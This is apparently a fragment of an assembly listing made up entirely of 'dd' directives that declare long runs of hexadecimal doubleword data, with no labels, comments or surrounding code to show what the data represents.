		dd 316E4484h, 1CC56628h, 83A8624Ch, 1778BA08h, 446E43E6h
		dd 4896D610h, 3A0480CDh, 2449B35Ah, 0B86DC213h,	92D5BC30h
		dd 20725EDAh, 4637BE70h, 0FF7F6304h, 0BD80E84Dh, 0A926ADh
		dd 0C2406103h, 2F9531E7h, 181CD805h, 64CCD95Ch,	95B49A62h
		dd 0F4501491h, 34007D53h, 0B571F789h, 4FE7E88h,	7B821991h
		dd 15F4E4F6h, 0C71D700h, 0E6F3966Dh, 703C98C5h,	5869823Ah
		dd 0A06000E4h, 0AD2F002Eh, 795E8FC7h, 0E70E098Dh, 0E09B37C0h
		dd 46501319h, 0C64032CFh, 947465B0h, 1B234E44h,	92E5C021h
		dd 5F8A236h, 9F95FC1Fh,	892EAC44h, 0F51D1971h, 84E2D88Ah
		dd 8058F658h, 0ABDC5A21h, 0B0860057h, 9E16986Fh, 0CFE67B62h
		dd 51C08402h, 461B69B5h, 91AD2DF4h, 1886E810h, 9F9CDC00h
		dd 0ED5B8E5Ah, 0FB5701ACh, 730CD3D9h, 0E148308Dh, 48745CA9h
		dd 0E988D7BCh, 4BFD0015h, 0D4B7CD65h, 0E0B983AAh, 8E69C42h
		dd 84A71090h, 0EB493579h, 89C608E8h, 1E512300h,	6CA6EE72h
		dd 45E116D8h, 26FC0510h, 806CD4EDh, 0BE56B310h,	3DA8F25h
		dd 37618Ch, 1C593D51h, 19348D35h, 0B1DF0E00h, 0F9597A7h
		dd 2DF20ED5h, 7600DD96h, 52C9468Dh, 0AF004B98h,	5DE2B706h
		dd 0CD68E1h, 62CF6E31h,	0BAD48328h, 0D6231400h,	1C615EEFh
		dd 0C4E9554Dh, 0F580B06Ch, 0F07BD498h, 0F6487E14h, 3CEE2C9Bh
		dd 453D8A08h, 90A7D7h, 6AE5E39Ch, 48FEE091h, 1F090781h
		dd 4848EA6Eh, 321DB47Fh, 5030345h, 0F840DE41h, 0D0CB26h
		dd 6CE1AC57h, 5AAB9982h, 202F4426h, 982C9025h, 27A30388h
		dd 0F628DD54h, 1856F5BBh, 179300A0h, 0BBE15EA7h, 0C210362h
		dd 0BD2796DBh, 9FDC2888h, 0CE52B718h, 4A644208h, 376C201Ch
		dd 7A052B62h, 0CEA9869Dh, 0A6C96491h, 618A2508h, 0F315CC98h
		dd 4BE20084h, 72B77B3h,	8D840B67h, 0D8420466h, 3CA98471h
		dd 62F9A480h, 16512758h, 964FD6Dh, 6470DD80h, 0A1701D25h
		dd 8E725168h, 4F71E833h, 97EC047Ah, 0FA7E2184h,	12208611h
		dd 1E4CD960h, 3973C035h, 79B6F38Ah, 0F082A700h,	0FAC2CE93h
		dd 25F67B77h, 2B9E30h, 88A9F823h, 0C068E8ECh, 0E76DEBADh
		dd 72230335h, 969B0180h, 0E6CEFAC0h, 0CC7FD62Ch, 1C68D70h
		dd 8FAFD9F6h, 234E879Bh, 4BEB2228h, 49C480E6h, 989048F1h
		dd 96F9F620h, 33A34010h, 0A2026B78h, 387F90B8h,	2C045907h
		dd 0E3DE1394h, 105C48F0h, 5F8CA979h, 4D0244E1h,	0DE4708BAh
		dd 31E4904Fh, 80F154A8h, 85D9296Ch, 5D3F44E4h, 7A8441C1h
		dd 0A091A94Ah, 0E1D6002Ah, 8915DC9h, 88510240h,	9075F7D9h
		dd 7C67E098h, 5C441C28h, 525C5A0Bh, 61681973h, 0AB435308h
		dd 0AD092F22h, 38A48BF2h, 57C528Ch, 7A1C5A46h, 5CECB4E9h
		dd 1C709E5Fh, 0B4DB77h,	0E6E923D7h, 6EFFB225h, 0F52BD09h
		dd 0C6A440FDh, 0C06382F7h, 0BCE0DBC2h, 6638461Ah, 41F08907h
		dd 0D0F19Dh, 0C0BF0E1Ch, 0A82E44E9h, 87885C4Dh,	59974484h
		dd 0CE1334C8h, 0C286A3B8h, 69009B98h, 39B96E48h, 4ED21A7h
		dd 41670979h, 80ECF83Bh, 6983BD7Fh, 70ED01BBh, 0DAAE43C7h
		dd 1705EC0Dh, 70B8DC98h, 22A43D22h, 5112F858h, 6C888F73h
		dd 0CE7B248Eh, 0C88B10A4h, 1844A8AFh, 49C3BD86h, 5491A65Ah
		dd 9422A192h, 3C72F7h, 9766F143h, 4E2F08Fh, 0E2D6503h
		dd 883BF2F3h, 3C7A7DCh,	1F4F6648h, 92599F0h, 3E4446Dh
		dd 7D7E081h, 9821D6B4h,	5B391AFh, 0D382F76Ch, 14218A4h
		dd 1566698Ah, 20466D7Ch, 174E2E9Ch, 789C300Ah, 0BE3FC401h
		dd 3AD0ABDBh, 60700912h, 0DE001F03h, 0D478FC83h, 9AF4670Ch
		dd 3F531040h, 1859E277h, 86B39444h, 0B006BC20h,	17024438h
		dd 128CDB48h, 4004D31Ah, 1CC8FE18h, 617883h, 9E8FC833h
		dd 3D80EB82h, 0E1E690F6h, 427EA221h, 0E0411A55h, 0B9280C75h
		dd 4C07003Ch, 11A2190Eh, 3C00467Dh, 5AA063EFh, 94235360h
		dd 44443D40h, 7EF49097h, 1BF0093h, 851C4C47h, 5A728808h
		dd 917F7502h, 4570D7EAh, 4CC42514h, 2720AB1Eh, 64086813h
		dd 8A2E646Eh, 0AD120FB4h, 5D772322h, 15429084h,	4BA30021h
		dd 6309884Fh, 59C7A8FFh, 41C09557h, 79D1F0C0h, 8E82007Ah
		dd 272C98C5h, 0AC0104D6h, 1FDC7D06h, 0FC452DCBh, 20106CA0h
		dd 6678203Ch, 0C1F63105h, 0B4A28EA5h, 4E77D494h, 0B8B8C8BFh
		dd 8837A800h, 0DDB3517h, 2F540163h, 4C5BE083h, 9FE4247Bh
		dd 9B14286h, 6867305Eh,	2C34CB8h, 4AC84660h, 0F0DC8D86h
		dd 820B7022h, 80E0B681h, 0A00884B4h, 1824007Fh,	0F1C54E39h
		dd 523DAE6Eh, 412A48Eh,	0C667A562h, 595D00B4h, 3F99A8BCh
		dd 3D139E12h, 1CC84F52h, 2F018547h, 3B6D7F27h, 0C19F6C0h
		dd 0CB632491h, 0E6386C38h, 8CAA0294h, 74CFB665h, 0DA330A0Ch
		dd 3AE5629Ch, 0D200FC79h, 5C147FFh, 12410481h, 0C06C32E3h
		dd 0B8F62017h, 385DF726h, 0ECC05544h, 8934A5AAh, 4550085Bh
		dd 805438C2h, 97EFB15Ah, 4370133Bh, 756404DBh, 6BD803BCh
		dd 0C546FB1Dh, 1FDE8C0h, 362702E6h, 0FE5E56F0h,	0A1852854h
		dd 7D84DD11h, 949044A8h, 79913B21h, 44663114h, 0AD102C48h
		dd 4A7080E6h, 0CA8E5E77h, 85E80188h, 0A7FF6F1Dh, 667D00ECh
		dd 44EADF9Dh, 0E6EF00D2h, 80F49C8Bh, 8E05938Fh,	1C7EE538h
		dd 66B5EC31h, 64512050h, 134B0F4h, 2D42C26Fh, 70B701E6h
		dd 5538D597h, 85B0895Eh, 20E4C4E3h, 0F0B4FA61h,	725B0049h
		dd 13F2B3ADh, 53613252h, 0BCA44A1Ch, 9EC950B8h,	5AB1E097h
		dd 83D60479h, 0A8C288BEh, 0E74384D8h, 49DC9F44h, 5484E8F7h
		dd 1E720589h, 0C0654713h, 5AA130A9h, 0C80BDC24h, 0A0E427h
		dd 7D481A40h, 4132DE52h, 0CEFC7C07h, 6AF48F50h,	744834E7h
		dd 0F1C4D33Eh, 0FBE0D750h
		dd 89166E42h, 0BE909CE6h, 0D4FCA1F2h, 5634B703h, 0FEB60EC4h
		dd 723B3B04h, 46836AEh,	223C6EF7h, 431D2226h, 2C7CA492h
		dd 0A21C59C0h, 92A94B1Dh, 0F7220E14h, 1028F98Bh, 63558256h
		dd 242C44FEh, 48F3F9h, 5C4D020Dh, 15390586h, 69540258h
		dd 6859268Eh, 9A4E2C64h, 408055DCh, 66C02872h, 72B8238Dh
		dd 0C0263CB8h, 0AB90545Dh, 11D8E9DFh, 260D01C9h, 577AC7Dh
		dd 5EC0F6C4h, 0E380411h, 21C05D3h, 45F70CEh, 22A96D84h
		dd 6CE62B81h, 80001EF8h, 0B010F46Ch, 17B8869Eh,	83421BEh
		dd 44A706A8h, 0F4A52EA8h, 850D00D5h, 60980739h,	937D9700h
		dd 0EFED3469h, 0C8524A31h, 18C7994h, 1B9E1C7Fh,	0C08302A8h
		dd 2D003DF7h, 5AC700Dh,	341FB2Eh, 6411664Ah, 0A8B0A050h
		dd 0F90368E5h, 0EED23545h, 6D2FB0F8h, 69DB0551h, 4443B2B6h
		dd 2283D3A4h, 112C597Ah, 65227C3Ah, 47F75AA8h, 0B0C2282Ch
		dd 92046D95h, 0EC1AC407h, 8C903D97h, 5A785AABh,	880C043Ah
		dd 0F0D84AE9h, 563E9F3Eh, 0DA04C3DCh, 0FF808339h, 42B9365h
		dd 1C7AB6F0h, 80BCB25Bh, 5E9B3EBDh, 970A09D4h, 0F87AEBA7h
		dd 1519E300h, 2170801Dh, 6B2600CFh, 0E11F40B8h,	0C2118799h
		dd 0FD2DFA3Dh, 0A652E098h, 4CD9F788h, 880549B5h, 0B2030FFAh
		dd 15C8C8CCh, 8978288Eh, 0F392015Eh, 2C75DA10h,	9C88904Bh
		dd 0C1EA1D20h, 6880AD9Ah, 0D10A6B0Fh, 9E480A0h,	0B64DD705h
		dd 0A4CC7AB7h, 84A33C6Dh, 9C81FF0Fh, 0FC4BA060h, 0B2143F0Ah
		dd 21E02A8Eh, 4E6A91BFh, 46D8C820h, 9B380B26h, 0D882D69Dh
		dd 0EB05F9BAh, 0EA54F4h, 0B7C65AACh, 48E0F7D8h,	40254EF6h
		dd 22B89439h, 60000C4Ch, 1F020E45h, 79B4998Dh, 618E2566h
		dd 45BDF821h, 0D4DCE997h, 0AF03A2CDh, 6CD90441h, 646DA11Ah
		dd 12C9ECE4h, 9158F401h, 2286F7ACh, 2C0E6018h, 26CDE70Fh
		dd 611482F6h, 0A59685B1h, 0F09C19C9h, 3C116060h, 40E4FBB9h
		dd 3888220Ch, 2084ED16h, 0DD2DF939h, 9D889184h,	0F884850Ch
		dd 2CD491A1h, 0ECDB018Ch, 2C3D6F9Eh, 720B14C8h,	100324C8h
		dd 0F713DC11h, 4428928Ch, 98A81055h, 8BA50029h,	605F0887h
		dd 0F01F422Ch, 0E4891796h, 8A6890F4h, 1EEE1C52h, 774B0C5Dh
		dd 6700F8AAh, 5AAA18D9h, 482F2D2Eh, 80DC38CDh, 50A42CEAh
		dd 0AD6217FEh, 2B364EC9h, 95E0741Bh, 0AD005201h, 797A5062h
		dd 2A9E76h, 0DD27B402h,	28C77B45h, 0E8F65325h, 5B9788h
		dd 8A15DF2h, 0B78D404Dh, 0FA802100h, 71A78B8Fh,	0F5D22C56h
		dd 2422BC68h, 0E7738211h, 0F400896Eh, 4C341DA4h, 1F25FCB0h
		dd 22D0BB72h, 64F81EB8h, 0C828A445h, 2A894C80h,	8E00F581h
		dd 0DA6987E8h, 40E2F35h, 0F10A86FDh, 90F268h, 3C487DCh
		dd 0B5E8Ch, 5F8F8E09h, 0EA30559Bh, 12741DEEh, 5CE13B20h
		dd 800FCDBh, 11784C76h,	4E1F7089h, 31C1666Bh, 0B986E13Dh
		dd 65E5F0h, 0EC22D1C7h,	6DDA0B37h, 0E402797Ch, 1C42078Dh
		dd 46BCC659h, 20713ADh,	80390C3h, 0CD208521h, 48D0FF12h
		dd 20D46DC2h, 2A21A1BFh, 2F453F3Bh, 0FCD98038h,	864A037Ch
		dd 0A24578F4h, 9F1E49E0h, 0D491BC00h, 65AE7467h, 7B4E001Bh
		dd 0D060CBE7h, 605CE0Ah, 0F6EF8F63h, 209284FAh,	37D1FBB8h
		dd 4421D507h, 28D030D0h, 0F5C59Ch, 0DB94878h, 0C76D461Ch
		dd 8413C079h, 0D820E888h, 3F8219DEh, 7A007C0Eh,	0F0CB4C6Ch
		dd 8B789F21h, 92B21617h, 24BFFC81h, 60884A08h, 0D7EC03A0h
		dd 828965AFh, 3C6CB026h, 4201AB60h, 121300CFh, 0BC4FA51Ah
		dd 0FE07474Bh, 393195Ch, 0C4604202h, 0A5A2002Ch, 310848C7h
		dd 6209267Bh, 48AB9FFEh, 8BE88C94h, 1CDA95E8h, 0E443F425h
		dd 1020B440h, 885ECBF5h, 0AEC0DC18h, 2F3F841h, 67864C36h
		dd 4603157h, 0A59F60C8h, 0D40FFFD4h, 0DAC0FEA9h, 3908ABF1h
		dd 0C01401BCh, 0C3EBD83Fh, 47589FF6h, 0D6699D41h, 852BE4BBh
		dd 3194877Ch, 30637328h, 41143CCCh, 8B545E1Ch, 8248037h
		dd 0FA1F83h, 2BB6003h, 0CFA42F7Ah, 0D0969713h, 7400FCE2h
		dd 3F9462E9h, 0C001B248h, 0AF2DD180h, 71F8D5A9h, 4083BF70h
		dd 75C0F02Fh, 8400F894h, 25D98331h, 580C32D2h, 0CE256858h
		dd 7628A410h, 7B068001h, 38810799h, 12CB21D8h, 220C87F6h
		dd 8920BF78h, 3E995h, 16EF72D0h, 0BE60A841h, 0A3928704h
		dd 0CA16DC26h, 46650010h, 4A242237h, 9567001Dh,	0BAEDBCADh
		dd 5C00F907h, 0E6EAA5F6h, 60D9CDh, 0F14B8FDBh, 8329C548h
		dd 8AB94A00h, 0D86A5C55h, 0F85FE70h, 8D1815F4h,	301DEBA0h
		dd 43000561h, 62428CD5h, 17BC3EEh, 7A145802h, 3A04A93Dh
		dd 57BE0020h, 3AD67B99h, 41728025h, 1AA879BAh, 0F98879C2h
		dd 35FF0038h, 583198B1h, 1701F477h, 550C1478h, 81452FEEh
		dd 21627830h, 96E695h, 0C773684Fh, 0B7F25502h, 0B3373A2Ch
		dd 0D8011F01h, 3C600C80h, 4462EF87h, 83524200h,	75D9D1B3h
		dd 84407F4Fh, 0A815F991h, 0E3B5FB0h, 0E9ABB960h, 7E31060h
		dd 0DA8CEE1Fh, 66002C24h, 0AB4E76FCh, 0C8790091h, 380EAE6Ah
		dd 7818C5E7h, 67116810h, 29776214h, 78D93051h, 4E4C10AFh
		dd 38070085h, 0CEC5524Dh, 566913B7h, 0ADB08768h, 0A2A39FE0h
		dd 57D5098Bh, 40645EAAh, 0A74CAF00h, 0CC2D0E65h, 9949009Eh
		dd 0ABBBECE8h, 0EF338C78h, 0C06F2845h, 1EBF2183h, 14D103DCh
		dd 85E08C3h, 0E0AFCC98h, 2427E5CCh, 0C3A81D24h,	88F29A3Dh
		dd 389180DEh, 8F9F3112h, 5BB203E4h, 3DB75230h, 0DD94C421h
		dd 630CC8FDh, 9019A9FEh, 0E3E93500h, 7C5866ABh,	0A25E00FDh
		dd 4D680534h, 5170AE1Eh, 6FEFAEB8h, 0C1461822h,	8C72B232h
		dd 5BBE9E11h, 0CD38C8h,	1820A524h, 1EABFD12h, 22F495Ch
		dd 0B745868Fh, 0E020E4F2h, 526D3F03h, 0A5769509h, 59C37C56h
		dd 50E9B8AEh, 8F1B0180h, 986DAFD5h, 0CBD830EBh,	0D4F40600h
		dd 5030C6C1h, 423C9EBCh, 9420E88Ah, 1266D92Ch, 0A205A08Ch
		dd 0E6CE00ACh, 55847CF8h, 0A3000B3h, 7149AC42h,	0EB2FD98Eh
		dd 7BEC2072h, 3DE379h, 0AA6251B0h, 0F1BC6852h, 60E6DA02h
		dd 71F9551Ch, 47443D74h, 744EDE28h, 81DFF080h, 0CE465A00h
		dd 716930B2h, 0C0A49407h, 2D3958ADh, 85C72304h,	0E48D49F3h
		dd 7070882Eh, 7C958201h, 4F52C91h, 3F69FE0h, 0CA812834h
		dd 0C2F898CEh, 0E42D0AA0h, 1DE4112Ah, 4F18C468h, 0A3EEC98Ch
		dd 0F4DAF024h, 0F383EA60h, 5CEB00F1h, 8A109E7Ch, 2F244493h
		dd 40047027h, 0C80C62Ch, 4577DDE0h, 80587833h, 0F2930C16h
		dd 0AC600FAh, 0F926DBB3h, 649165ADh, 0F1CBF70Ch, 0D87EFBh
		dd 0B2F03FA5h, 0EDE1B67Eh, 1B878101h, 27E05A9Eh, 48BCC0A0h
		dd 0C3C00CCFh, 0DC357376h, 780CD009h, 0F53C8495h, 24FAEB0Bh
		dd 9E04B8B5h, 7811B7FAh, 0D8F0508Fh, 0FE001F69h, 8BAF2035h
		dd 0A267DEh, 0E06D3818h, 0C472A683h, 0DCC16212h, 0F8F8C034h
		dd 0FAF1009Dh, 0AA55D873h, 4392B100h, 19D1F635h, 4BEF0074h
		dd 42833EF5h, 2B2E44B9h, 7031530h, 0A0C559F0h, 0AA19B43h
		dd 4ADDF264h, 0ACB358A8h, 6355ED00h, 0F8BD943Ch, 4E4D0727h
		dd 433DA0F1h, 0C191C53Eh, 0E6118EEFh, 0B1B4BC4h, 0E82CF2FAh
		dd 24100006h, 0A3AC2BE2h, 0CA044404h, 65313B78h, 8C4A24CCh
		dd 8AF62212h, 66441090h, 0C4830132h, 0F34D4A8Ch, 0C2AC3C8Fh
		dd 0D0A0F803h, 0EA552F3Ch, 7B5324E9h, 763ADB0h,	6DAE6C2Ch
		dd 983CF4B3h, 8A001204h
		dd 0BCF0C853h, 71C1DB9h, 0AFAA3893h, 0EDDA3530h, 7E8F89E8h
		dd 0F1540828h, 6D8060A9h, 754AB072h, 0A0389878h, 0B8546912h
		dd 3E7F0033h, 4D868C79h, 0BA09F69Eh, 50306FAh, 0CAC63C8h
		dd 833EB98Eh, 0A4310CD9h, 3F4DE5E8h, 101E3EE2h,	7AC06679h
		dd 0D9CF8103h, 0DCA40C2Dh, 17812B85h, 0A58CFE25h, 4C0B8328h
		dd 25D49860h, 1A2F2F71h, 0EF9C8CC0h, 0B0600541h, 25800BDh
		dd 18A13C9Fh, 654C85D8h, 0F7DB828Ch, 0BC1055AFh, 0CC9984DEh
		dd 0D7F0F028h, 0E04EEB2Dh, 440284h, 0D13F497Ch,	0E9E41C04h
		dd 4575D804h, 0AE8A42h,	5A27A934h, 0C00BCB8Eh, 10A55BF6h
		dd 0AC21B48h, 11EBD816h, 0B34D0538h, 3580CC22h,	1C1FCE58h
		dd 0D400A759h, 0E02E6F8Fh, 783A7A79h, 0F830BDCh, 80F57D2h
		dd 0EF8280F4h, 90557ABFh, 7E82308h, 0F765499Dh,	61B4C114h
		dd 7C42904h, 832EE495h,	630B32C1h, 0C84AC036h, 0F50278E8h
		dd 99942EB6h, 59104891h, 8C558898h, 88A630B1h, 2C4A0908h
		dd 0D51188h, 6443DE73h,	5D1E966h, 818F768h, 0ADF405BDh
		dd 0A320139Dh, 1EB3C04h, 16E1B44Eh, 9EF45565h, 95C990Ah
		dd 0A01983F7h, 0D890DEDEh, 8E00A9ADh, 6008DA34h, 6653F8h
		dd 224BBFF9h, 2FF3A1D8h, 8249B809h, 0EB4882A9h,	330B223Eh
		dd 8E758340h, 23192901h, 474331B9h, 4B790826h, 603C8D52h
		dd 7200E5A0h, 0A17F9D25h, 270838EEh, 0C601215Fh, 0E08324CAh
		dd 70032662h, 47137859h, 0B1A9D0E6h, 211F0758h,	0B57A8BF0h
		dd 325888F5h, 28F456E4h, 700A0900h, 498EA85Fh, 1C5E3CE8h
		dd 0F73CD05Eh, 8F1DEAD9h, 4193A753h, 9B885088h,	0FFEF0020h
		dd 83F6CDE3h, 0C742E8B4h, 3092754Ch, 0A0622FC2h, 6C40747Eh
		dd 16BFD8E0h, 318CF784h, 283F7FC0h, 450F79B4h, 3CB3DAh
		dd 0FF43C5A8h, 0A9580A19h, 3E24FE5Dh, 0F64B2C00h, 0BF0E920Dh
		dd 614E1F00h, 87EA3AF0h, 0F2BE2D79h, 649478ECh,	9ABFDC40h
		dd 0F43907A8h, 0C0AE0892h, 0A1A23BA9h, 35685A12h, 8080B8BDh
		dd 932C64B4h, 921B0F01h, 5AAB2949h, 58E5BFE8h, 3E1098F6h
		dd 84DD16E8h, 847C24E2h, 0A5E1C409h, 8B208158h,	4874B91Ah
		dd 7CB08444h, 107E8D00h, 63583962h, 0DBA83082h,	7AC6FF1h
		dd 228959C1h, 812A3AB9h, 2FEA516Ch, 67E09040h, 9D3DAD6Ah
		dd 42AA8B80h, 1CBAA622h, 1FAF0A44h, 826FF3C2h, 32921A11h
		dd 10404C74h, 0EEB074h,	96615DCEh, 0D4F207BBh, 72844109h
		dd 0F6646108h, 8C30E710h, 2E3370EFh, 0E900B177h, 3317D4Eh
		dd 0A029EA23h, 0B4934Ch, 0F9EEA0AFh, 30026F6Eh,	967F010Ch
		dd 125778D3h, 2442405h,	624BDB9Ch, 35838C76h, 956FC58Bh
		dd 0FD858020h, 0E4F71D8h, 3F8190F3h, 0A106C80h,	5DFB14A1h
		dd 807C63C8h, 7F07438h,	0A2B14AEEh, 6E957A58h, 0E06725F4h
		dd 1F11D859h, 6C120858h, 2528F834h, 50E4E7h, 2EE6DF55h
		dd 3F74FE79h, 0A7358400h, 43FA11B7h, 8E65024Fh,	3DC1AE4Dh
		dd 80C00477h, 66D3B881h, 0C8B601CCh, 0E0AD0AB0h, 0FE8627E8h
		dd 628109E8h, 0CC7C4237h, 0FF34B1E9h, 7C00C062h, 0B6E13180h
		dd 6673738Bh, 0ECADA600h, 397B0582h, 214A0407h,	0C089DA6Ah
		dd 2C50CC60h, 0A37EAB15h, 0B4E119Ch, 0A7663113h, 96A6108Ch
		dd 0EDA28485h, 0F070110Ch, 0CA4F1848h, 0D17A0000h, 7D6F3F99h
		dd 6030007Bh, 5AAAE0B0h, 0BC900480h, 47FF5E05h,	0D8E9F05Ch
		dd 0ECDF8303h, 0D9853D2h, 9C00ED57h, 0A63DD98Fh, 957684DCh
		dd 0C39ED422h, 979DD21h, 0EF22C423h, 0F89664A0h, 1B04A805h
		dd 34175BD0h, 0A7D8C8h,	0CF9A7BE9h, 0A89B5944h,	21BB4700h
		dd 84567DE2h, 0D1E54BBEh, 3AF83A70h, 32BAD070h,	3CEB009Fh
		dd 92B48D2Ch, 0C6001B77h, 5264B7D5h, 0E6583862h, 0F0934882h
		dd 0FA62ABC8h, 0C12A04B8h, 2B366314h, 7CB7E080h, 0A03D117Eh
		dd 0A98BC0DBh, 897A93h,	156770DAh, 571C7BEDh, 76893099h
		dd 0B748908Dh, 1C612756h, 55009044h, 3D753476h,	982D97h
		dd 4ECF83E7h, 565E5FDBh, 1E605C04h, 0A48C3BF5h,	19E51F8Dh
		dd 0FE7D00F3h, 82721591h, 34A07575h, 5D08B5EFh,	80CBF847h
		dd 7602D30Fh, 0C6010A7Fh, 3EA7E086h, 2C50A473h,	59DE01h
		dd 3F4CF79h, 0F785055Ch, 149E6324h, 0AE5302C1h,	4F38D22Bh
		dd 9F465846h, 0C964C910h, 1C7306h, 1D25E6D9h, 81274DF3h
		dd 7B6CE4AFh, 0DAC5000Ch, 0A246128Fh, 42047FFCh, 0DCE76B4Bh
		dd 37411D05h, 0F1A3C4A0h, 0A4802ED8h, 70EF811Ch, 62D6EC54h
		dd 3986A9FCh, 0C8666020h, 30BE0AB1h, 1F606292h,	45740017h
		dd 0C52B09DBh, 0CE467B1Eh, 5C5A4E52h, 2FA86EE0h, 14CCC192h
		dd 0D3745848h, 5563404h, 5AC1855Ch, 987440CAh, 0EA0304F9h
		dd 11522701h, 0C162249Fh, 24E044E2h, 4779EBh, 0BDE76869h
		dd 2C0047C2h, 0F3E4BA34h, 91584678h, 0C31B9E8Ch, 667BA688h
		dd 8C7405B2h, 0C1B379E0h, 0E86700D8h, 45232B72h, 0EC0E663Ch
		dd 924BCA3h, 825C5CC2h,	38D606C7h, 30DAC70h, 48048375h
		dd 27DDFC24h, 10D12D4Ch, 75C37980h, 0A14B5F76h,	803C149Ch
		dd 49AB6484h, 42BC7CDDh, 7D2520EBh, 17CAE0h, 0C1353097h
		dd 0AD864CCAh, 28FB0D2Eh, 7C48CD91h, 9104416Ah,	0F3070FF9h
		dd 0E6F68945h, 4CF00B30h, 0A000143Ah, 1C32A818h, 4A34035Ch
		dd 0CB488820h, 0FA950083h, 0A3328A38h, 1200BD46h, 33DBB192h
		dd 4F83B09Bh, 0DD88C8DAh, 0AD5D58h, 2023619Fh, 0A8F7032h
		dd 4B901A51h, 444699Ch,	4065BD0Bh, 0E0C8517Eh, 0AB3025C8h
		dd 0D034D94Fh, 65366407h, 5D8040DAh, 2EA545BEh,	40150460h
		dd 952C0AA0h, 86388CD0h, 39D4D007h, 9691291Dh, 203AF415h
		dd 0F6CE5E94h, 21AC4353h, 805B9082h, 0B4B9BF35h, 67271617h
		dd 1BA600FAh, 68DE5F8Ch, 2BBD1A00h, 8B3FB948h, 875701D7h
		dd 0F79443FFh, 0A29C7C89h, 0E531C0CFh, 0C3B93171h, 10D3B1E9h
		dd 0B88A0E1Dh, 0A60700C4h, 7976F632h, 0A101FE0Dh, 1CE65402h
		dd 0C3D374Ah, 0F8F24Eh,	0A9524FB7h, 0F4E55h, 0DEEF0992h
		dd 0D685D88Fh, 6898F25Ah, 0D00B0F8Ch, 8E8F5CC7h, 0CD81457h
		dd 9E795E80h, 53168005h, 8CF68BA0h, 3C4DDD09h, 0AA114C59h
		dd 22E8F71Ch, 0F2B9D900h, 0FFE7473Ch, 716300A9h, 10A0D0D4h
		dd 304A6C11h, 0A04A34B2h, 3988E500h, 8AAA0E58h,	5FC9F12Ch
		dd 250780F1h, 0F36E5DE1h, 708468ADh, 845542F9h,	50815FCEh
		dd 705EF5Ah, 945EF854h,	0AF87F0EAh, 0F62D00Ah, 0DF003870h
		dd 30BC13ACh, 0BFFA6C53h, 0B4407030h, 0FD270707h, 0F00ED9Bh
		dd 0E711A9Dh, 24477770h, 9CC54E21h, 74AC2D12h, 4C15D428h
		dd 64C43EF1h, 8F835BBh,	5184F8E8h, 7C880A82h, 249D1357h
		dd 5B84888Dh, 14F86077h, 18818E4Eh, 0B3D1FE17h,	680C851h
		dd 2E676010h, 0A663E702h, 7AEB022Fh, 1D477EB0h,	0C120275Eh
		dd 0A530539h, 7E7431A2h, 0DE1C3C05h, 0DDE7A801h, 5864EB82h
		dd 0CAAB4B31h, 93E707B8h, 602F2EF8h, 3948BA1Ch,	0EA507B88h
		dd 6CB50F66h, 0C454BFCDh, 0BCF0C734h, 64D4C058h, 70D34Ah
		dd 0E213BA18h, 0B2A9DC5Ah, 6768ED1Dh, 8E451A7h,	0E784D1DAh
		dd 20FC3AEAh, 0E9CA9480h, 711F18A9h, 0AD8442CEh, 0B890142Eh
		dd 0F0B94A8Bh, 1F6601DEh, 6E6A5F04h, 515DF0C5h,	0D583CC00h
		dd 260DF103h, 0ABAD0070h, 8B3207B5h, 3B12F37Ch,	0ECB2AA31h
		dd 79EAFA80h, 140021A7h, 0BFAE5244h, 28115DAh, 0C2CF20F8h
		dd 0CFA3423h, 78A6B300h
		dd 3B4BDE2Ch, 9CB09DE4h, 6209E155h, 0DD386A76h,	54A1B980h
		dd 970FF360h, 80E9BD9Ch, 0C899723Eh, 43D50032h,	0AF50DD3Dh
		dd 0F0258A91h, 0DCC42Fh, 11FFB0CAh, 2070D95Eh, 0FBD5C200h
		dd 0F29E999Ch, 0D54045F7h, 0C8282B80h, 96C70099h, 0DAC8EC42h
		dd 0AE00E8CFh, 0B634691Eh, 3EB0E9D4h, 9F0E5347h, 0B293528Fh
		dd 14AE006Ch, 0FC5F7D8Bh, 56F2BEh, 1F6A4964h, 3AC79DF1h
		dd 0A0B71600h, 0D8DC2C9Fh, 38630114h, 0CF7AD96Dh, 0A9B02C8Fh
		dd 272AF0F1h, 0D66D60D8h, 0FC02E3DCh, 0FEBB7ABFh, 0DC915D4Fh
		dd 0F82D01F9h, 0B3809879h, 90AB3C2Eh, 800E9201h, 57133A11h
		dd 1FED8C0h, 0E616D431h, 332F4A14h, 0C122ACh, 2EFBBA70h
		dd 55AE7FC2h, 399F4900h, 271C59CCh, 92D04F72h, 8310E250h
		dd 0F8448840h, 0A3F444h, 0C29F2C74h, 0A8AABF53h, 834AD70Eh
		dd 6F5740EDh, 2CBAB2ECh, 4F606281h, 76E8E9E1h, 7993FCE0h
		dd 903A0B17h, 0CD2A0004h, 0CCCF5A45h, 0AB88E60Ch, 0F4E70F52h
		dd 0C140DAEFh, 6E61D00Ch, 7E334505h, 68B0497Fh,	6474028Dh
		dd 0D8CA4EC3h, 66CC03D5h, 464DA0FFh, 58F718B0h,	765161FAh
		dd 21323827h, 3ADE814Ch, 204036Ah, 89D8BF8h, 94A0E944h
		dd 1C735103h, 103C16Fh,	3FC27249h, 3AAAEB81h, 8C2E08DDh
		dd 0CD00A8F8h, 18F07450h, 14BE37A7h, 0CFAF9053h, 0AAD82C01h
		dd 33F96EF7h, 80704CF0h, 0D94EAD2Eh, 18A12F1h, 735CC075h
		dd 78270E9Eh, 2EB410C2h, 2F418405h, 55005072h, 6E8E5EC5h
		dd 8F00B3C3h, 97471A14h, 91F846AAh, 4080284h, 0BE43D4BBh
		dd 1980A1C0h, 0B74D3A0Ch, 88CC284Ah, 0DF0022EAh, 0FB54B597h
		dd 4BB910Ch, 0C561D7F5h, 60BCE5E5h, 4817F18Bh, 0CCB4626Dh
		dd 10AF0026h, 0FB5F9791h, 30029059h, 0A83E3209h, 0E6A080A4h
		dd 0D6311B3h, 8BF79246h, 80607F76h, 7F6F4FEEh, 51870220h
		dd 147C0DB0h, 1D98240h,	3EB94316h, 842FF428h, 0E18B6678h
		dd 4140377h, 43F85BC0h,	0E267835Eh, 0ACA4C360h,	0A579DD44h
		dd 22082878h, 0AFF725F9h, 225A5411h, 81EE88A8h,	0FDFC80E6h
		dd 6DE07B0Fh, 4F0B63Ch,	8EFF5D4h, 8F34800Ch, 733321F2h
		dd 42BC4101h, 0F4079FF5h, 4496C20h, 3F80461Ah, 0FC0089C1h
		dd 307E6C6h, 7BF854CFh,	28B24144h, 6663132h, 7C1455h, 97593262h
		dd 0E8F96858h, 5EB82C00h, 0D348C74Eh, 0F7CE1175h, 34CB1EC9h
